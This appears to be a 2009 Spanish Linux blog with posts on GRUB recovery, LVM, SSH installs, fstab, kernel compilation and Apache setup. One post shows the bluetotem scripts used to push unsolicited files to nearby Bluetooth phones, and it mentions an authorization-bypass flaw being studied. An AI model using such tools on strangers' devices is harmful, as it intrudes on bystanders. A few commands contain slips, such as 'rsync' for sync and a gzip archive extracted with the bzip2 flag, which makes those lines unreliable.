Es mostren els missatges amb l'etiqueta de comentaris Linux. Mostrar tots els missatges
Es mostren els missatges amb l'etiqueta de comentaris Linux. Mostrar tots els missatges

22 de set. 2009

recuperar grub después de instalar windows

Pues el título lo cuenta todo.

Hay mil formas de hacer esto, pero muchas no acaban de funcionar, así que voy a dar alguna idea de como hacerlo y que funcione (acabado de probar!)

1. Arrancas con una live cd de gurruntu (aka ubuntu)
2. montar la partición donde tenemos / instalada, en mi caso /dev/sda1
# mkdir /mnt/hd && mount -t ext3 /dev/sda1 /mnt/hd

3. instalar grub en el MBR
# grub-install --root-directory=/mnt/hd /dev/sda

4. hacer un chroot (el chroot es como si estuvieses trabajando en tu partición de linux, para hacer algunas tareas es necesario montar proc, que ahora no lo necesitamos).
# chroot /mnt/hd

y ahora ya estamos en una jaula dentro de nuestro linux (no la livecd)

5. pasarle los parametros del /boot/grub/menu.lst al grub
# update-grub


Anotación proc: para montar el proc usaremos el proc del livecd
# mount -t proc proc /mnt/hd/proc

et voilá!

8 de set. 2009

gestionar lvm

Venga, la continuación del post del miércoles pasado, un pequeño manualillo de como funcionan los lvm y de como administrarlos.

La ventaja del lvm es que puedes crear particiones de tamaño ilimitado, simplemente es necesario que tu maquina soporte los discos suficientes para definir el tamaño ilimitado.

Otra de las ventajas es que se le pueden poner el nombre deseado a las particiones, en lugar de las aburridas sda1, sda2, sdb1, etc. que nos ofrece el fdisk.

Sigamos como si las particiones lvm fuesen meros pedazos de plastilina.

Tenemos una caja (el ordenador) con varios paquetes de plastilina (cada uno de los discos duros), y tenemos la mesa donde trabajaremos (volume group (VG)).

Encima de la mesa podremos trabajar nuestra plastilina (physical volume (PV)) y agruparla para hacer las figuras (logical volume (LV)).

De "volume groups" solo podremos crear uno. De la misma forma que podemos separar la plastilina y agruparla crearemos los "physical volumes" y le daremos forma con los "logical volume".

Con esta representación para niños, quiero decir que hay los volume groups, que agrupan a los physical volumes y dentro los volume group.

Basta ya de explicaciones cutres y entramos en materia:

La mejor forma de entender como funciona lvm es con los comandos:

# pvscan
PV /dev/sdb1 VG vg1 lvm2 [465.66 GB / 455.66 GB free]
PV /dev/sda5 VG servidor1 lvm2 [67.51 GB / 0 free]
Total: 2 [533.17 GB] / in use: 2 [533.17 GB] / in no VG: 0 [0 ]

# vgscan
Reading all physical volumes. This may take a while...
Found volume group "vg1" using metadata type lvm2
Found volume group "servidor1" using metadata type lvm2

# lvscan
ACTIVE '/dev/vg1/lvol0' [10.00 GB] inherit
ACTIVE '/dev/servidor1/root' [64.71 GB] inherit
ACTIVE '/dev/servidor1/swap_1' [2.80 GB] inherit

Estos outputs son los reales de un servidor, y nuestra tarea es eliminar el volume group "vg1" y fusionarlo con el volume group "servidor1".

Así que empezamos la limpieza:
# lvremove /dev/vg1/lvol0
Do you really want to remove active logical volume "lvol0"? [y/n]: y
Logical volume "lvol0" successfully removed

listos, acabamos de eliminar el volumen lógico "lvol0" que se encuentra dentro del grupo de volumen "vg1".
# vgremove vg1
Volume group "vg1" successfully removed

si ejecutamos de nuevo el lvscan, podremos ver que el output ha variado y ya no tenemos al volumen "vg1".
# lvscan
ACTIVE '/dev/server1/root' [64.71 GB] inherit
ACTIVE '/dev/server1/swap_1' [2.80 GB] inherit

aprovechando que ahora tenemos la partición vacía haremos un formateado, para eliminar la posible basura que haya quedado de instalaciones anteriores y verificar el estado del disco (aprovecho para recordar la existencia de smartmontools):
# mkfs -t ext3 -c /dev/sdb1
mke2fs 1.40.8 (13-Mar-2008)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
73138176 inodes, 292551674 blocks
14627583 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=4294967296
8928 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,
102400000, 214990848
Checking for bad blocks (read-only test): done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 29 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.

Esta operación tardará varios minutos depende de la velocidad de los discos y el tamaño de los mismos, además de la potencia de la maquina.

Una vez finalizado vamos a poner la partición dentro el physical volume
# pvcreate /dev/sdb1
Physical volume "/dev/sdb1" successfully created


Y ahora la cosa queda así:
# pvscan
PV /dev/sda5 VG server1 lvm2 [67.51 GB / 0 free]
PV /dev/sdb1 lvm2 [1.09 TB]
Total: 2 [1.16 TB] / in use: 1 [67.51 GB] / in no VG: 1 [1.09 TB]

Ahora añadiremos /dev/sdb1 dentro del volume group "VG server1":
# vgextend server1 /dev/sdb1
Volume group "server1" successfully extended

Para ampliar por ejemplo la capacidad de la partición raíz (que se encuentra en un volumen lógico):
# lvextend -L+2G /dev/server1/root
Extending logical volume root to 65.71 GB
Logical volume root successfully resized

Por último con el ext2resize o con el resize2fs fijamos los cambios a la partición (si no está instalado lo instalamos)
# apt-get install ext2resize

# ext2online /dev/server1/root
ext2online v1.1.19 - 2001/03/18 for EXT2FS 0.5b

el comando ext2online sirve para redimensionar particiones ext2, si no estamos usando el journaling nos va a dar igual si usamos una u otra, pero por otra parte es recomendable usar este otro comando:
# resize2fs /dev/mapper/server1-root
resize2fs 1.40.8 (13-Mar-2008)
Filesystem at /dev/mapper/server1-root is mounted on /; on-line resizing required
old desc_blocks = 5, new_desc_blocks = 5
Performing an on-line resize of /dev/mapper/server1-root to 17750016 (4k) blocks.
The filesystem on /dev/mapper/server1-root is now 17750016 blocks long.


Para comprobar que se ha redimensionado:
# lvscan
ACTIVE '/dev/server1/root' [66.71 GB] inherit
ACTIVE '/dev/server1/swap_1' [2.80 GB] inherit

y si no nos fiamos aún del lvm:
# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/server1-root
67G 33G 31G 53% /
varrun 4.0G 76K 4.0G 1% /var/run
varlock 4.0G 0 4.0G 0% /var/lock
udev 4.0G 80K 4.0G 1% /dev
devshm 4.0G 0 4.0G 0% /dev/shm
/dev/sda1 236M 26M 198M 12% /boot

2 de set. 2009

Crear LVM Linux

Y finalmente 3r post de hoy, un breve repaso a lvm.

Hace un tiempo hablábamos de como crear raids en linux, ahora le toca el turno al lvm.

Viene a ser similar pero permite redimensionar las particiones en caliente.

Es interesante también hacer combinaciones con el raid para tener mejor protegidos los datos en caso de fallo del disco (aún así, es recomendable tirar de copias de seguridad para tenerlos mejor protegidos, la redundancia en estos casos no es mala).

La idea del lvm es que tu creas una partición de x gigas y dentro puedes crear otras particiones totalmente dinámicas (como si de plastilina se tratase).

La instalación de debian nos permite crear las particiones de instalación dentro de un volumen LVM, para ello le indicaremos que queremos formatear el disco usando LVM (tenemos la opción de usar lvm cifrado si lo desamos).


De momento no explicaré como crear el lvm cifrado, lo dejo para otro día...

La instalación configurará el lvm para que ocupe el máximo espacio permitido, pero esto posiblemente no nos interese, así que al momento que nos muestre la pantalla de las particiones ya configuradas usaremos el menú que se encuentra arriba del todo "configurar particiones LVM".





A partir de ahí saldrá una nueva ventana donde podremos crear o eliminar volumenes LVM. Deberemos diferenciar entre physichal volume y logical volume. El Physichal volume (pv) contendrá los logical volumes (lv). Si eliminamos el volumen sin particiones logicas, borraremos el volumen físico.















Una vez finalizada la configuración volveremos a estar a la pantalla de particiones, dónde podremos definir qué particiones asociaremos a las particiones lógicas que acabamos de crear.

La creación de volúmenes LVM, también es posible hacerla con una maquina ya en funcionamiento. Simplemente deberemos instalar el paquete lvm2.

# apt-get install lvm2

Este paquete nos va a instalar algunas herramientas para administrar, crear y borrar paticiones lvm.

Para mas información: http://tldp.org/HOWTO/LVM-HOWTO

instalar debian por ssh

Y aquí anda el segundo post.

¿Cuántas veces tienes que hacer una instalación y quedarte sentado delante del ordenador hasta que esta termine?

¡Pues esto se va a acabar!

Debian nos permite hacer una instalación por ssh, simplemente nos valdrán unos pocos minutos para preparar este tipo de instalación ¿te imaginas hacer una instalación de un servidor desde la parada del bus?


Para ello deberemos iniciar la instalación en modo experto (Advanced Options > Expert install)


Escogemos nuestro idioma
Vamos siguiendo la instalación (detectando el teclado y el cdrom) y en un momento nos sale una ventana así:
Aquí podremos seleccionar algunos componentes extras para la instalación. La que nos interesa ahora es la network-console, que lo que hará será instalar un servidor ssh en nuestra maquina.


A continuación se detecta el hardware de red y se configura la red (por DHCP o statica, depende de nuestra red).

Justo después de detectar la configuración de red se empezarán a instalar los componentes del cd, como hemos marcado el network-console nos pedirá un password para poder acceder a la máquina por ssh con el usuario installer@ipdelamaquina. Este usuario será destruido al finalizar la instalación.


Finalmente podemos seguir nuestra instalación en otra máquina, por ejemplo el portátil en el sofá.

Esto me recuerda a la história de la creación de lo que se podría llamar el primer monitor de la historia, que lo creó tio que consideraba que la impresora, que se hallaba al otro lado del edificio, era demasiado lejos para levantarse a buscar el reporte que le sacaba su ordenador. Esto ocurría por aquello de los años 70, cuando los ordenadores aún funcionaban con tarjetas.

Thnks Marc.

31 d’ag. 2009

talibán de consola

Post rápido:
Esto que estaba trabajando en un servidor y como a veces mi cabeza va mas rapido que mis dedos he escrito sl en lugar de ls y me he encontrado con un gran wtf!

para aquellos usuarios/administradores que tienen malos vicios con el teclado existe el sl, os lo dejo a vosotros investigar lo que hace esto :) (no sufráis no es dañino, es un programa muy simpático!)

# apt-get install sl

para los desconfiados:
# apt-cache search sl |grep 'by mistake'
sl - Correct you if you type `sl' by mistake

25 d’ag. 2009

Capturar video con linux por firewire

El otro día grabé un vídeo para presentar al concurso sobre mujeres que usan las TIC.

Como es de cajón decido hacer mi pequeña contribución y estos días voy a darle un poco al cinelerra, pero primero de todo es necesario sacar el vídeo que grabé con la camera de video de Candela (¡muchas gracias!).

Uno de los requisitos es firewire, como el x200 no trae puerto firewire he optado por el lenovo 3000 v100 que vuelve a estar en casa (siempre se pueden usar tarjetas PCI Express, pero tendría que comprarla). El Lenovo 3000 v100 se queda como portátil de edición de video.

Así que vamos a seguir unos pasos para comprobar que todo funciona, si no funciona alguna cosa empezará a sacar errores y mi recomendación es que pegáis el error en vuestro buscador favorito y intentéis hallar ahí la solución.

Para hacer la captura vamos a usar el kino, si no lo tenemos instalado lo instalamos

# apt-get install kino

Primero, nivel físico. Enchufar el cable firewire a un extremo en el puerto firewire del portátil y al otro el firewire de la base de la cámera web.

Sin encender aún la camera hacemos esto:

# lsmod |grep 1394
ohci1394 38576 0
ieee1394 94660 1 ohci1394

esto nos indica los modulos relacionados con firewire (1394) cargados en nuestro sistema. Una vez encendamos la camera de video y ejecutamos el mismo comando (tirar hacia arriba), nos sale esto:

# lsmod |grep 1394
dv1394 25948 0
raw1394 32732 0
ohci1394 38576 1 dv1394
ieee1394 94660 3 dv1394,raw1394,ohci1394

cabe recordar que el módulo raw1394 va a desaparecer en pronto y va a dejar paso a otros mas modernos, pero de momento es recomendable usarlo:

# modprobe raw1394

a continuación cargamos un par de módulos más:

# modprobe firewire-ohci
# modprobe firewire-core

Finalmente abrimos el kino y nos dirigimos a captura.

Si tras toquetear un rato con la camera no vemos ninguna imagen, vamos a editar > preferencias > IEEE 1394 y miramos qué dispositivo de captura raw está usando.

Al ejecutar el programa con un usuario sin derechos de root me he encontrado que este no tenía derechos de lectura/escritura sobre /dev/raw1394, así que lo he ejecutado como root y si me ha dejado (recuerdo que nunca deben ejecutarse programas como root salvo que sea imperativo!).

Si nos aparece la fuente de captura ya lo tenemos! cerramos la ventana y nos vamos a la pestaña lateral "captura" y ya podremos ver la imagen de la camera de vídeo en nuestra pantalla.

Ahora lo restante es rebobinar la cinta hasta donde queramos o si lo deseamos realizamos una captura directamente y le damos al botón de grabar.


Justo debajo del botón tenemos la ruta dónde se van a guardar las capturas de vídeo. Los vídeos se guardan en formato dv.

Happy editing! ;)

20 d’ag. 2009

liberar memoria

Muchas veces nos encontramos que nuestro servidor/maquina linux tiene casi toda la memoria RAM ocupada aunque el top no nos muestre ningún proceso consumiendo un exceso de RAM. Para mirar el consumo de RAM propongo 2 formas:

# top
y una vez abierto shift+m (ordenar por consumo de memoria)

# free -m
la m corresponde a megas, si queremos que nos lo muestre en gigabytes usaremos g, bytes b y kilobytes k.


Para ello hay una forma (no destructiva) de liberar esta RAM reservada a procesos que ya no están activos.

echo 1 > /proc/sys/vm/drop_caches

Para los que tengáis ganas de leer:

Invalidating the Linux Buffer Cache

When you write data, it doesn’t necessarily get written to disk right then. The kernel maintains caches of many things, and disk data is something where a lot of work is done to keep everything fast and efficient.

That’s great for performance, but sometimes you want to know that data really has gotten to the disk drive. This could be because you want to test the performance of the drive, but could also be when you suspect a drive is malfunctioning: if you just write and read back, you’ll be reading from cache, not from actual disk platters.

So how can you be sure you are reading data from the disk? The answer actually gets a little complicated, particularly if you are testing for integrity, so bear with me.

Obviously the first thing you need to do is get the data in the cache sent on its way to the disk. That’s “sync”, which tells the kernel that you want the data written. But that doesn’t mean that a subsequent read comes from disk: if the requested data is still in cache, that’s where it will be fetched from. It also doesn’t necessarily mean that the kernel actually has sent the data along to the disk controller: a “sync” is a request, not a command that says “stop everything else you are doing and write your whole buffer cache to disk right now!”. No, “sync” just means that the cache will be written, as and when the kernel has time to do so.

Traditonally, the only way to be sure you were not reading back from the cache was to overwrite the cache with other data. That required two things: knowing how big the cache is at this moment, and having unrelated data of sufficient size to overwrite with. On older Unixes with fixed sized buffer caches, the first part was easy enough, and since memory was often expensive and in shorter supply than it is now, the cache wasn’t apt to be all that large anyway. That’s changed radically: modern systems allocate cache memory dynamically and while the total cache is still small compared to disk drives, it can now be gigabytes of data that you need to overwrite.

Well, that’s not always so hard: for a large filesystem and relatively small memory, a simple “ls -lR” might be enough. If not, a “dd” redirected to /dev/null can fill it up. Just make sure that you are looking at different disk blocks than what you first wrote. Note that you really didn’t even need the “sync” if this is what you are doing: the overwrite forces the sync itself.

Modern Linux kernels make this a bit easier: in /proc/sys/vm/ you’ll find “drop_caches”. You simply echo a number to that to free caches.

From http://linux.inet.hr/proc_sys_vm_drop_caches.html:

To free pagecache:

echo 1 > /proc/sys/vm/drop_caches
To free dentries and inodes:

echo 2 > /proc/sys/vm/drop_caches
To free pagecache, dentries and inodes:

echo 3 > /proc/sys/vm/drop_caches
do not forget to use rsync before using above command.

18 d’ag. 2009

lo que los manuales se dejan al hablar del fstab

Este segundo post de hoy lo he sacado de la wiki de archlinux (una distro a probar algún día). He caído en esta página cuando buscaba por enésima vez, que eran los 0 que aparecían detrás de una partición en el /etc/fstab, estos 0 a veces se convierten en 1 o incluso en 2!!! pero ¿sirven para algo? ¡pues sí! sigue leyendo hasta el final.

Añado además otra información que está bien que esté recopilada junto la definición de las opciones dump y pass, las cuales se cuentan demasiado por encima en la gran mayoría de los manuales, incluso el man del mount.


Una vista detallada del archivo fstab

Revisemos de cerca la construcción del archivo. Una entrada típica tienes los siguientes campos (separados por espacios o tabs):

{file} {dir} {type} {options} {dump} {pass}
  • El primer campo describe el bloque del dispositivo o sistema de archivos remoto a ser montado. Para montajes regulares, este campo contendrá una liga al nodo del bloque del dispositivo (así como fue creado por mknod que es llamado durante el arranque por udev) para el dispositivo a ser montado. Por ejemplo "/dev/cdrom/" o "/dev/sda1". En vez de darlo de forma explicita el instalador de Arch de forma predeterminada indica los sistemas de archivos a ser montados por su UUID.
  • El segundo campo describe el punto de montaje para el sistema de archivo. Para particiones swap, este campo deberá ser marcado como 'swap' (Las particiones swap en realidad no son montadas).
  • El tercer campo describe el tipo del sistema de archivos. El kernel de Linux soporta muchos tipos de sistemas de archivos (para una lista de los sistemas de archivos soportados por el kernel en ejecución revisa /proc/filesystems). La entrada 'swap' indica que la partición deberá ser usada para swap. La entrada 'ignore' causa que la linea sea ignorada. Esto es útil para mostrar particiones de disco que no están actualmente en uso.
  • El cuarto campo describe las opciones de montaje asociadas con el sistema de archivos. Esta campo tiene el formato de una lista de opciones separadas por comas (sin espacios). Este contiene por lo menos el tipo de montaje junto con información adicional apropiada para el tipo de sistema de archivos. Algunos ejemplos comunes son:
    • auto El sistema de archivos se montará en el arranque, o cuando el comando mount -a sea llamado.
    • noauto El sistema de archivos solo se montará cuando se le monte explícitamente.
    • exec Opción predeterminada. Esta opción permita ejecutar binarios que se encuentran en esta partición.
    • noexec No se permite ejecutar binarios en esta partición. NUNCA utilice esta opción para el sistema de archivos raíz.
    • ro Montar el sistema de archivos en modo solo lectura
    • rw Montar el sistema de archivos en modo lectura-escritura
    • sync Todo el I/O deberá realizarse de forma síncrona.
    • async Todo el I/O deberá realizarse de forma asíncrona.
    • user Permite a cualquier usuario montar el sistema de archivos. Implica noexec, nosuid, nodev a menos que se indique otra cosa.
    • nouser Opción predeterminada. Solo root puede montar el sistema de archivos.
    • defaults Usar las opciones predeterminadas. Equivale a rw,suid,dev,exec,auto,nouser,async.
    • suid Permite las operaciones de suid, y sgid bits. Estas son utilizadas comúnmente para permitir a usuarios comunes ejecutar binarios con privilegios temporales elevados con el objetivo de realizar una tarea específica.
    • nosuid Bloquea la operación de suid, y sgid bits.

Para mayor documentación asociada a las opciones disponibles para sistemas de archivos no nfs, ver mount(8).

  • El quinto campo es utilizado por el comando dump(8) para determinar cuales sistemas de archivos necesitan ser respaldados. Si el quinto campo no esta presente o tiene un valor 0, dump asumirá que el sistema de archivos no necesita ser respaldado. Tome en cuenta que dump no es instalado de forma predeterminada.
  • El sexto campo es usado por el programa fsck(8) para determinar el orden en que deben ser revisados los sistemas de archivos durante el arranque. El sistema de archivos root(/) debe ser especificado con 1, otros sistemas de archivos deben ser especificados con 0 o 2. Los sistemas de archivos dentro de un mismo disco serán revisados de forma secuencial y los sistemas de archivos en diferentes discos serán revisados de forma simultanea utilizando el paralelismo disponible en el hardware. Si el sexto campo no estar presente o tiene un valor 0, fsck asumirá que el sistema de archivos no necesita ser revisado.

30 de jul. 2009

debian cada 2 años

Pues parece que los debianitas estamos de suerte, ya no tendremos que sufrir para saber cada cuando debian saca a estable una nueva versión.


En esta news, nos informan que debian va a sacar una nueva versión estable cada 2 años, congelando a squeeze este mismo diciembre y liberando la próxima versión (squeeze) en verano del 2010.

Uno de los motivos, según cuentan, es que las congelaciones predecidas, permiten mejorar la definición de objetivos a definir en las próximas releases. Esta decisión permitirá cubrir mejor las necesidades de los usuarios y organizaciones que usan esta distribución y facilitar posteriormente los upgrades entre versiones no consecutivas.

Para debian, lo primordial es dar soporte al máximo numero de arquitecturas posibles y especialmente la compatibilidad de paquetes de 32bits en arquitecturas de 64bits y una mejora en los tiempos de arranque (¿veremos pronto a debians cargar el entorno gráfico en menos de 10 segundos?).

La nueva política de congelaciones programadas se propuso en la debconf del 2009 celebrada en Cáceres. La idea fué bien recibida por la mayoría de los miembros del proyecto.

Así que resumiendo, la típica frase, la próxima versión de debian saldrá cuando esté a punto, con la cual nos tormentan los usuarios del canal #debian de irc.freenode.net se va a acabar! :)

22 de jul. 2009

avi a mov

post rápido.

convertir de avi a mov:

# apt-get install ffmpeg libavcodec-unstripped-52

# ffmpeg -i filename.avi -target ntsc-dvd filename.mov

los videos que se comprimen con el avidemux, los que estan en formato .avi usan el códec DX50. Lo que hace que el quicktime de apple no pueda reproducir muchos de los ficheros .avi.

5 de jul. 2009

Apuntes programa Aptitude FM

Os cuelgo la documentación de lo hablado en el programa de hoy de Aptitude FM.

# apache, php y mysql
-> instal·lar cms, wikis, wordpress, etc.

# apt-get install apache2 php5 mysql-server libapache2-mod-php5
-> apache2 servidor de páginas web
-> php5 conjunto de librerías que permiten crear páginas dinámicas
-> mysql-server servidor de MySQL
-> libapache2-mod-php5 módulos para que apache se comuniques con las librerías del php5

# ficheros de configuración
: Apache
: crear servidores virtuales

#########################


ServerName www.site2.com
ServerAlias site2.com
ServerAdmin webmaster@localhost

DocumentRoot /var/www/site2

Options Indexes FollowSymLinks MultiViews
# pcw AllowOverride None
AllowOverride All
Order allow,deny
allow from all
# This directive allows us to have apache2's default start page
# in /apache2-default/, but still have / go to the right place
# Commented out for Ubuntu
#RedirectMatch ^/$ /apache2-default/


ErrorLog /var/log/apache2/site2/error.log

# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn

CustomLog /var/log/apache2/site2/access.log combined
ServerSignature On



#########################

: habilitar ssl
firmar las claves

: htaccess i htpasswd
[.htaccess]
AuthUserFile /ruta/absoluta/hacia/.htpasswd
AuthName AquiPuedesPonerLoQueQuieras
AuthType Basic

require user test123

**

htpasswd -c ficherohtpasswd usuario (creamos un nuevo fichero de .htpasswd, nos pedirá el password del usuario)

htpasswd ficherohtpasswd usuario (actualiza el fichero de passwords con un nuevo usuario)

mirar el fichero .htpasswd, hay el usuario:passwordencriptado

#########################

: PHP
: instalación de liberías desde apt (php5-gd para generar gráficos)

: MySQL
: clients de mysql (mysql-client, phpmyadmin, mysqladmin)
: hacer backups con mysqldump
mysqldump --all-databases
: proteger los backups con de miradas indiscretas con el .my.cnf en el home del usuario que ejecutará el script con esto:
[client]
user = DBUSERNAME
password = DBPASSWORD

28 de juny 2009

instalación de firmwares de hardware no integrados en el kernel

A ver si el título cabe en una sola línea, pero no sabía muy bien como resumirlo.

Llevo todo el fin de semana intentando instalar una debian squeeze from scratch, pero no ha habido forma por algun problema con los paquetes daily de instalación disponibles y finalmente he tenido que instalar una estable (businescard) y upgradear a squeeze, entre instalación y upgrade he estado cerca de 2 horas, la conexión de casa hoy volvía a funcionar lenta, quizás el router estaba haciendo la siesta por el intenso calor que ha hecho hoy en la ciudad condal.

Una vez a squeeze he instalado todos mis programas y he puesto el escritorio con mas o menos la misma distribución que antes.

Tras hacer el checkeo del hardware he visto que la webcam y la wifi no funcionaban, así que he revisado los programas que había instalados (iwlwifi y v4l) y si lo estaban, tenía pinta de un problema de módulos ya que el dmesg ni siquiera soltaba errores al intentar cargar lo que vendrían a ser los drivers, los firmwares, unas librerías que actúan como puentes entre el núcleo del sistema operativo y el chip del componente de hardware.

Así que este post va de esto, como hacer que funcionen las cosas que por culpa de ser un hardware estraño, aún en desarrollo o directamente que sea tan nuevo que aún no haya habido tiempo para crear una comunidad para aquel hardware.

Normalmente tenemos comunidades que engloban varios subproyectos para cada uno de los hardwares, permitiendo así una amplia compatibilidad de dispositivos instalando un simple paquete (este ya precompilado en nuestro kernel) como podría ser v4l o iwlwifi.

Partimos de que algún programador haya sacado el firmware del dispositivo para linux, cada vez mas pero, nos encontramos que los propios fabricantes ya sacan estos firmwares (empaquetados para que no se pueda acceder al código), como podría ser intel o nvidia (este último con un basto .bin que te hace todo el trabajo sucio).

Vamos a ver así como vamos a integrar un firmware no contemplado en el kernel de linux. Además todo este proceso se puede realizar independientemente de la versión de kernel, si una cosa funciona ¿para qué vamos a cambiarla?

Primero de todo descargamos los sources del kernel completos (F) para poder compilarlos. Si buscamos un kernel mas antiguo tenemos este histórico. En el caso de hoy he tenido que instalar un kernel antiguo (2.6.27) para comprobar una cosa y me ha ido bien este directorio :)

Voy a usar como ejemplo el último kernel estable, el 2.6.30, todo indica que dentro de poco estará listo el 2.6.31 con un montón de nuevas funcionalidades.

# cd /usr/src
# wget -c http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.30.tar.gz
# tar xvjf linux-2.6.30.tar.gz
# ln -s linux-2.6.30 linux
# cd linux
# ls

Aquí tenemos el código del kernel, si te aburres puedes ir leyendo todas las líneas y entrando en todos sus directorios y revisar sus miles de ficheros, pero tenemos una forma mas sencilla de configurar el kernel. Será necesario instalar un par de paquetes.

# apt-get install build-essential libncurses5 libncurses-dev

y luego ya podremos entrar en el menú de configuración

# make menuconfig

Antes de empezar a toquetear fijaos en los dos últimos elementos del menú principal:

Load an Alternate Configuration File: para cargar la configuración de otro kernel que ya tengamos compilado, para no tener que ir configurando cosas a la que actualizas a un nuevo kernel.
Save an Alternate Configuration File: para guardar los cambios que vayamos haciendo, pero finalmente el fichero de configuración que importa es el .config

Los últimos kernels que he compilado los he compilado directamente tal como venían y no me ha dado problemas, incluso os diría que no he visto ningún kernel panic desde noviembre, en el hackmeeting (aquella frustración de compilación de kernel a las 5 de la madrugada, compilar requiere tiempo de espera y te permite hacer otras tareas lejos del ordenador).

Así que si tienes un procesador intel no muy antiguo te va a valer el kernel, sino en Processor type and features > Processor family podemos escoger entre un amplio abanico de procesadores, y si no está soportado simplemente tendrás que buscar el firmware para linux y modificar unos ficheritos y ya estará soportado :D

Tras una anécdota y un pequeño avance vamos a seguir adelante.

Haremos lo que queramos con el fichero de configuración, pero finalmente el que manda es el .config, hagamos lo que hagamos al salir nos pedirá como queremos llamar el fichero.

Ahora dejamos aparcado el .config y nos vamos a descargar el firmware.

Como el chipset de la wifi es de intel, tengo la ventaja de que los señores de intel ya me ofrecen un firmware cerrado, weno, menos da una piedra.

http://intellinuxwireless.org/?p=iwlwifi

Y en download vamos a descargar el firmware

http://intellinuxwireless.org/?n=downloads


En mi caso me descargo el de la serie 5000.

# cd /home/laura/bin/
# wget -c http://intellinuxwireless.org/iwlwifi/downloads/iwlwifi-5000-ucode-8.24.2.12.tgz
# tar xvzf iwlwifi-5000-ucode-8.24.2.12.tgz
# cd iwlwifi-5000-ucode-8.24.2.12
# ls

Normalmente junto al firmware tenemos un fichero README que nos ayudará a instalar el firmware en el kernel.

En los kernels mas nuevos hay habilitada una funcionalidad para cargar firmwares automáticamente.

Los firmwares del hardware tienen que copiarse siempre en /lib/firmware, este directorio es dónde va a buscar los firmwares que no vienen por defecto con el kernel y están presentes en el fichero .config del que he hablado antes.

En el README nos propone la forma de los kernels modernos:

Device Drivers ->
Generic Driver Options ->
Hotplug firmware loading support

Si no está soportado mas abajo en el README cuenta como agregarlo.

Luego estos firmwares los cargaríamos con el module-assistant que menciono en este otro post.

En este post voy a explicar como cargar directamente el soporte para el nuevo firmware.

Editaremos el .config y buscaremos los siguiente:

#CONFIG_IWLWIFI_DEBUG is not set
CONFIG_IWLAGN=m
CONFIG_IWLAGN_SPECTRUM_MEASUREMENT=y
CONFIG_IWLAGN_LEDS=y
CONFIG_IWL3945=m
CONFIG_IWL3945_SPECTRUM_MEASUREMENT=y
CONFIG_IWL5000=y

estos valores los encontraremos normalmente en la página web del proyecto o fabricante, sino en algun foro.

cada uno de las lineas hace referencia a un firmware o paquete (esta parte no la tengo muy clara aún hehe), la nomenclatura es:

y cargado en el kernel
m se carga como un módulo (modprobe modulo)

las líneas comentadas va a pasar de ellas, y para facilitar su búsqueda tenemos un "is not set" para poder filtrar rápidamente los módulos disponibles no configurados o desactivados, es importante documentarse antes de modificar cualquier valor de este fichero.

En el .config del kernel 2.6.30 he tenido que añadir estas líneas:

CONFIG_IWLAGN=m
CONFIG_IWLAGN_SPECTRUM_MEASUREMENT=y
CONFIG_IWLAGN_LEDS=y
CONFIG_IWL5000=y

ya que una se encontraba comentada o las otras que directamente no estaban.

Una vez finalizado este pequeño hack del kernel procedemos a compilarlo. Por comodidad ya tengo en mi buch de herramientas una línea compila-kernels ;)

# make && make install && make modules_install && mkinitramfs -o /boot/initrd.img-2.6.30 2.6.30 && update-grub

Al cabo de unos 20-60 minutos, depende de la potencia de la maquina tendremos el kernel compilado y preparado para reiniciar la máquina y comprobar que la instalación del driver ha sido fructuosa :)

18 de juny 2009

Bluetooth hacking

Y para terminar hoy una de bluetooth hacking.

Ha pasado un tiempo y creo que ya sería hora que empezase a salir un pequeño meeting de hacktivistas espontáneo que salió a finales del año pasado.

En la acción no se dañó ningún bien empresarial, ningún bien público (no destrozamos ninguna cabina de teléfonos para la micro acción) y tampoco se maltrató a ningún animal.

El vídeo cuenta el desarrollo de la acción y el funcionamiento del programa (que cuento mas abajo), además de su conclusión, todo explicado con una genial musiquilla de fondo a manos de tangible. (8 bit peoples).



El programa usado (como podéis ver en el vídeo) es el bluetotem, desarrollado en parte por darkwave (¡un saludo! ¡espero verte pronto!).

La instalación y el funcionamiento son muy simples:

# cd /home/laura/bin
# mkdir bluetotem && cd bluetotem
# svn co http://code.autistici.org/svn/bluetotem
# apt-get install libnet-server-perl ussp-push

Y ya tenemos el bluetotem instalado en el directorio bin de nuestro home.

Bluetotem son dos scripts de perl, uno que busca las MAC de los dispositivos con el bluetooth activado y el otro manda el fichero por push a las MAC detectadas.

$ ./monitor.pl
$ ./dispatcher.pl fichero_a_mandar

Y a spammear por bluetooth tu fichero de datos (por ejemplo ficheros de texto).

Han pasado algunos meses desde la micro acción, encontramos algunos bugs al programa o cosas que se podrían modificar y se los mandamos a dw.

El sistema de envío de un mensaje requería una autorización del usuario del dispositivo, como estábamos en la calle la gente aceptaba el mensaje, pero al recibir el fichero ya estábamos fuera del alcance de la señal. Así que el sistema funciona mejor en zonas dónde la gente está quieta (transporte público, manifestaciones, etc.) .

El desarrollador nos comentó que estaba estudiando de explotar la vulnerabilidad que tienen algunos dispositivos bluetooth que permiten recibir texto sin necesidad de autorización.

Pitivi

Empecemos con un interesante programa, hago mención de él y lo dejo en la lista de programas a seguir investigando.

Hablamos de Pitivi, un editor lineal de vídeo, similar al cinelerra.

Los que usamos cinelerra estamos pendientes del estado (en fase alfa) del lumiera, la reprogramación del cinelerra, que en principio va a soportar varios plugins y ya no será necesario recompilar todo el programa cada vez que queramos añadir alguna funcionalidad. Por otra cosa que lo estamos esperando es para poder disponer de un programa que no se cierre a la mínima por pulsar en el sitio incorrecto en el momento crucial de la edición de un vídeo.

En la imagen una captura de pantalla que he encontrado en la wiki del proyecto.

Su instalación es super simple, ya que la tenemos en las sources de debian :D

# apt-get install pitivi

Si no os aparece en los repos buscad en debian-multimedia
# wget -c http://www.debian-multimedia.org/pool/main/d/debian-multimedia-keyring/debian-multimedia-keyring_2008.10.16_all.deb
# dpkg -i debian-multimedia-keyring_2008.10.16_all.deb

